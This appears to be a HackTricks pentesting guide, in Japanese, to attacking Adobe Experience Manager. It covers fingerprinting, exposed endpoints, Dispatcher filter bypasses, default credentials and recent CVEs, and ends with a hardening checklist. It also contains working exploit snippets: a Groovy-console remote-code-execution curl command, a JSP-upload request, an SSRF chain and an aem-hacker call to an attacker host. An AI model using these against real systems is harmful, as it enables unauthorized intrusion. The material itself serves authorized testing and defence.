AEM (Adobe Experience Manager) Pentesting
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズCMSです。 攻撃者の視点から見ると、AEMインスタンスは非常に頻繁に危険な開発エンドポイント、弱いDispatcherルール、デフォルトの認証情報、そして四半期ごとにパッチが適用される長いCVEのリストを露出します。
以下のチェックリストは、実際のエンゲージメントで繰り返し現れる外部から到達可能な(認証なしの)攻撃面に焦点を当てています(2022-2025)。
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
他の迅速な指標:
/etc.clientlibs/
静的パスが存在(JS/CSSを返す)。/libs/granite/core/content/login.html
「Adobe Experience Manager」バナー付きのログインページ。</script><!--/* CQ */-->
HTMLの下部にあるコメント。
2. 高価値の未認証エンドポイント
パス | 取得できるもの | ノート |
---|---|---|
/.json , /.1.json | DefaultGetServletを介したJCRノード | よくブロックされるが、Dispatcherバイパス(下記参照)が機能する。 |
/bin/querybuilder.json?path=/ | QueryBuilder API | ページツリー、内部パス、ユーザー名の漏洩。 |
/system/console/status-* , /system/console/bundles | OSGi/Felixコンソール | デフォルトで403; もし公開され、認証情報が見つかれば⇒ バンドルアップロードRCE。 |
/crx/packmgr/index.jsp | パッケージマネージャー | 認証されたコンテンツパッケージを許可→ JSPペイロードのアップロード。 |
/etc/groovyconsole/** | AEM Groovyコンソール | もし公開されれば→ 任意のGroovy / Java実行。 |
/libs/cq/AuditlogSearchServlet.json | 監査ログ | 情報漏洩。 |
/libs/cq/ui/content/dumplibs.html | ClientLibsダンプ | XSSベクター。 |
Dispatcherバイパスのトリック
ほとんどのプロダクションサイトはDispatcher(リバースプロキシ)の背後にあります。そのフィルタールールは、許可された静的拡張子をセミコロンまたはエンコードされた改行の後に追加することでバイパスできます:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
単一のリクエストは、ユーザープロファイルノードとメールアドレスを頻繁に開示します。P-T Partnersはこの脆弱性に関する良いガイダンスを公開しました。 【】
3. 一般的な誤設定(2025年にも生き残っている)
- 匿名POSTサーブレット –
POST /.json
に:operation=import
を使用すると、新しいJCRノードを植え付けることができます。Dispatcherで*.json
POSTをブロックすることで修正できます。 【】 - 世界中から読み取り可能なユーザープロファイル – デフォルトのACLは
/home/users/**/profile/*
に対してjcr:read
を全員に付与します。 - デフォルトの資格情報 –
admin:admin
、author:author
、replication:replication
。 - WCMDebugFilter 有効 ⇒
?debug=layout
を介した反射型XSS(CVE-2016-7882、レガシー6.4インストールでまだ発見されています)。 - Groovyコンソールが公開されている – Groovyスクリプトを送信することでリモートコード実行が可能です:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. 最近の脆弱性(サービスパックのサイクル)
四半期 | CVE | 影響を受ける | 影響 |
---|---|---|---|
2024年12月 | CVE-2024-43711 | 6.5.21以前 | 不適切な入力検証 → 任意のコード実行(低権限の認証が必要)。 【】 |
2024年12月 | CVE-2024-43724/26 | 6.5.21以前 | Move Page WizardにおけるDOM / ストレージ型XSS。 【】 |
2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 作成されたURLを介したDOMベースのXSS。 【】 |
2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 暗号設計の欠陥 → 秘密の復号(低権限の資格情報が必要)。 【】 |
常に顧客のサービスパックに一致するAPSB bulletinを確認し、最新の 6.5.22 または Cloud Service 2024.11 をリクエストしてください。
5. 悪用スニペット
5.1 DispatcherバイパスによるRCE + JSPアップロード
匿名書き込みが可能な場合:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Now request /content/evil.jsp
– JSPはAEMプロセスユーザーで実行されます。
5.2 SSRFからRCEへの攻撃(歴史的 < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
はaem-hackerからフルチェーンを自動化します。 【】
6. ツール
- aem-hacker – スイスアーミーナイフの列挙スクリプト、ディスパッチャーバイパス、SSRF検出、デフォルトクレデンシャルチェックなどをサポートします。
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – 隠れたコンポーネントを発見するために
/_jcr_content.(json|html)
を再帰的にリクエストします。 - osgi-infect – クレデンシャルが利用可能な場合、
/system/console/bundles
を介して悪意のあるOSGiバンドルをアップロードします。
7. ハードニングチェックリスト(レポートの推奨事項用)
- インスタンスを最新の累積サービスパック(2025年7月現在:6.5.22)に保つ。
- デフォルトアカウントを削除/ローテーションし、SSO/SAMLを強制する。
- ディスパッチャーフィルターを厳格化する – 匿名ユーザーに対して
;
、エンコードされた改行、*.json
または*.querybuilder.json
を拒否する。 - コンソール(
/system/console
、/crx/*
、/etc/groovyconsole
)をIP許可リストで無効化または保護する。 - Adobeが提供する匿名権限ハードニングパッケージを適用する。
参考文献
- Adobe Security Bulletin APSB24-69 – “Adobe Experience Managerのセキュリティ更新(2024年12月)”。
- 0ang3el – aem-hackerツール(GitHub)。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。